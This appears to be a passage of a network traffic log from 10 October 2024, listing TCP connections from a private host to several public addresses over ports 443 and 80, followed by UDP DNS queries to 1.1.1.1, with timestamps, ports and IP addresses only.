Oct 10, 2024 18:00:42.764911890 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:42.764951944 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:42.765063047 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:42.765264988 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:42.765279055 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.239653111 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.239959955 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:43.239974976 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.240287066 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.240572929 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:43.240618944 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.240725994 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:43.287395000 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:43.423224926 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:46.440223932 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:46.657855988 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:46.658126116 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:46.658765078 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:46.756351948 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:46.756452084 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:46.756516933 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:46.757384062 CEST	49742	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:46.757399082 CEST	443	49742	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:46.759422064 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:46.759460926 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:46.759800911 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:46.759843111 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:46.759918928 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:46.760335922 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:46.760349989 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.032140970 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.037127972 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.130326986 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.130630970 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.131644964 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.131725073 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.131741047 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.132004023 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.132117987 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.136404037 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.136610031 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.136619091 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.136729002 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.136795998 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.136953115 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.237340927 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.237492085 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.239605904 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.239892006 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.239914894 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.241130114 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.241204023 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241473913 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241489887 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241542101 CEST	443	49743	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.241544008 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241597891 CEST	49743	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241846085 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.241926908 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.242016077 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.242203951 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.242237091 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.362853050 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:47.363044024 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:47.601329088 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:47.727895975 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.728131056 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.728140116 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.729245901 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.729321003 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.729609013 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.729676008 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.729738951 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:47.729747057 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:47.777194977 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.095978975 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096012115 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096048117 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.096060038 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096489906 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096518993 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096537113 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.096544981 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096628904 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:48.096659899 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.096683979 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.097209930 CEST	49744	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:48.097229958 CEST	443	49744	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:49.104221106 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:49.104263067 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.104576111 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:49.104576111 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:49.104609013 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.687963963 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.688292027 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:49.688318014 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.688672066 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.688986063 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:49.689055920 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:49.736217022 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:54.657584906 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:54.657629967 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:54.657721043 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:54.658142090 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:54.658157110 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.344496012 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.344600916 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.345793009 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.345809937 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.346198082 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.347927094 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.395406008 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.552665949 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.552694082 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.552709103 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.552813053 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.552839994 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.552891970 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.553745031 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.553785086 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.553808928 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.553822041 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.553847075 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.553850889 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.553900003 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.556267023 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.556289911 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:55.556305885 CEST	49746	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:55.556312084 CEST	443	49746	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:56.052342892 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:57.979183912 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:57.979226112 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:57.979312897 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:57.979717970 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:57.979731083 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:58.773430109 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:58.773911953 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:58.773931026 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:58.774696112 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:58.774707079 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:58.774811983 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:58.774818897 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:58.792727947 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:58.792764902 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:58.792929888 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:58.826617956 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:58.826646090 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.147274971 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147299051 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147377014 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:59.147375107 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147443056 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147459984 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:59.147762060 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147768974 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:59.147768974 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:59.147792101 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.147816896 CEST	49747	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:59.147834063 CEST	443	49747	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:59.211622000 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.211648941 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:00:59.211759090 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.213732958 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.213751078 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:00:59.395708084 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.395787001 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:59.398828983 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:59.398844004 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.399199009 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.437447071 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:59.483402014 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.533058882 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.533144951 CEST	443	49748	13.107.5.88	192.168.2.17
Oct 10, 2024 18:00:59.533289909 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:59.538510084 CEST	49748	443	192.168.2.17	13.107.5.88
Oct 10, 2024 18:00:59.899126053 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:00:59.899279118 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.950169086 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.950220108 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:00:59.950539112 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:00:59.950597048 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.952124119 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:00:59.952167034 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:00.227739096 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:00.227792978 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:00.227809906 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:01:00.227840900 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:00.227858067 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:01:00.227858067 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:00.227885008 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:01:00.227962971 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:01:00.230140924 CEST	49749	443	192.168.2.17	184.86.251.27
Oct 10, 2024 18:01:00.230156898 CEST	443	49749	184.86.251.27	192.168.2.17
Oct 10, 2024 18:01:02.709295988 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:01:02.709312916 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:01:04.619914055 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:01:04.620007038 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:01:04.620063066 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:01:05.677727938 CEST	49745	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:01:05.677764893 CEST	443	49745	162.159.140.237	192.168.2.17
Oct 10, 2024 18:01:07.463053942 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.463110924 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.463196993 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.463541985 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.463555098 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.952666998 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.953008890 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.953027010 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.953334093 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.953816891 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.953864098 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:07.953881979 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:07.999394894 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:08.000314951 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.519098997 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.519220114 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.519296885 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.520015001 CEST	49750	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.520034075 CEST	443	49750	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.522232056 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.522279024 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.522367001 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.522643089 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.522658110 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.990272045 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.990628958 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.990674019 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.991852999 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.991938114 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992188931 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992188931 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992237091 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992269039 CEST	443	49751	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.992338896 CEST	49751	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992502928 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992552996 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:13.992630959 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992805958 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:13.992820978 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.458950996 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.459338903 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.459363937 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.459738016 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.460006952 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.460068941 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.460129023 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.503406048 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810154915 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810200930 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810225964 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810262918 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810267925 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.810291052 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810323954 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.810610056 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810672045 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.810678005 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810724020 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:14.810767889 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.811099052 CEST	49752	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:01:14.811114073 CEST	443	49752	104.21.48.11	192.168.2.17
Oct 10, 2024 18:01:17.674515963 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:01:17.674643993 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:01:17.674730062 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:01:20.134977102 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:20.135072947 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.135222912 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:20.135484934 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:20.135521889 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.772253036 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.772641897 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:20.772661924 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.773020029 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.773354053 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:20.773422003 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:20.819452047 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:30.690236092 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:30.690323114 CEST	443	49754	142.250.186.132	192.168.2.17
Oct 10, 2024 18:01:30.690421104 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:31.670154095 CEST	49754	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:01:31.670181036 CEST	443	49754	142.250.186.132	192.168.2.17

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 18:00:15.529966116 CEST	50678	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:15.530180931 CEST	62894	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:15.938071966 CEST	53	60809	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:15.938232899 CEST	53	64096	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:15.952516079 CEST	53	50678	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:15.969604015 CEST	53	62894	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:17.867914915 CEST	53	56388	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:17.921380997 CEST	55814	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:17.921380997 CEST	61249	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:19.471025944 CEST	64788	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:19.471288919 CEST	63936	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:19.478230953 CEST	53	64788	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:19.478323936 CEST	53	63936	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:21.403139114 CEST	58795	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:21.403290987 CEST	50363	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:21.516967058 CEST	53	50363	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:21.600579977 CEST	53	58795	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:23.700120926 CEST	62317	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:23.700120926 CEST	57660	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:23.710661888 CEST	53	62317	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:23.714271069 CEST	53	57660	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:24.907129049 CEST	64608	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:24.907290936 CEST	53955	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:24.907959938 CEST	56666	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:24.908107042 CEST	56679	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:24.915138960 CEST	53	53955	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:24.915364981 CEST	53	64608	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:24.915375948 CEST	53	56666	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:24.916177034 CEST	53	56679	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:25.759351015 CEST	62389	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:25.759516001 CEST	50971	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:25.768335104 CEST	53	50971	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:25.768486023 CEST	53	62389	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:26.350678921 CEST	60067	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:26.350868940 CEST	54016	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:26.358802080 CEST	53	60067	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:26.359461069 CEST	53	54016	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:26.448240995 CEST	49348	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:26.448364019 CEST	55071	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:26.688173056 CEST	53	49348	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:26.760947943 CEST	53	55071	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:30.346194029 CEST	51304	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:30.346329927 CEST	62510	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:30.462342024 CEST	58902	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:30.462594986 CEST	55075	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:30.469181061 CEST	53	58902	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:30.469490051 CEST	53	55075	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:30.621649981 CEST	53	51304	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:30.646965981 CEST	53	62510	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:31.257337093 CEST	64288	53	192.168.2.17	1.1.1.1
Oct 10, 2024 18:00:31.257337093 CEST	62583	53	192.168.2.17	1.1.1.1
